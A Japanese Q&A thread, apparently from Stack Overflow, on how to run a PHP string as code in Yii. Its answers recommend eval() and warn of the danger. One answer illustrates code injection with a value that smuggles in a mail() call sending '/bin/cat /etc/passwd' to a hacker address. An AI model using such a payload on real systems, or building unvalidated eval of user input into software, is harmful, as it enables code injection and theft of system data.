0

Yii フレームワークを使用しています。PHP文字列をPHPアクションにしたい。

$var = 'echo "hello";';
//Something to do to run $var

$var を印刷したいのですが、どうすればよいですか? Yii フレームワークには、文字列オプションから単純な parse php がありますか?

4

3 に答える 3

2

eval()関数使用できます。しかし、eval は多くの場合悪であり、一般的にそのようなコーディング方法はコードの追跡とデバッグを困難にします。ユーザーからの潜在的な危険な入力に注意してください。

eval('echo "$var"')

$var が $_POST から直接設定された場合は、設定 $var='lol"; mail("hacker@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");'することができます (ただし、Web サーバーがそのような機能やディレクトリにアクセスできるユーザーの下にある場合、そうでない場合でも、そのような脆弱性を悪用する機会がたくさんあります)。したがって、一般的にeval は悪い考えですが、場合によってはそれが唯一の解決策になることもあります。とにかく、十分に注意してください。

于 2013-08-20T07:33:27.183 に答える
0

eval — 文字列を PHP コードとして評価する

指定されたコードを PHP として評価します。

注意 eval() 言語構造は、任意の PHP コードを実行できるため、非常に危険です。したがって、その使用はお勧めできません。この構文を使用する以外に選択肢がないことを慎重に確認した場合は、ユーザーが提供したデータを事前に適切に検証せずに渡さないように特に注意してください。

http://php.net/manual/en/function.eval.php

于 2013-08-20T07:29:30.537 に答える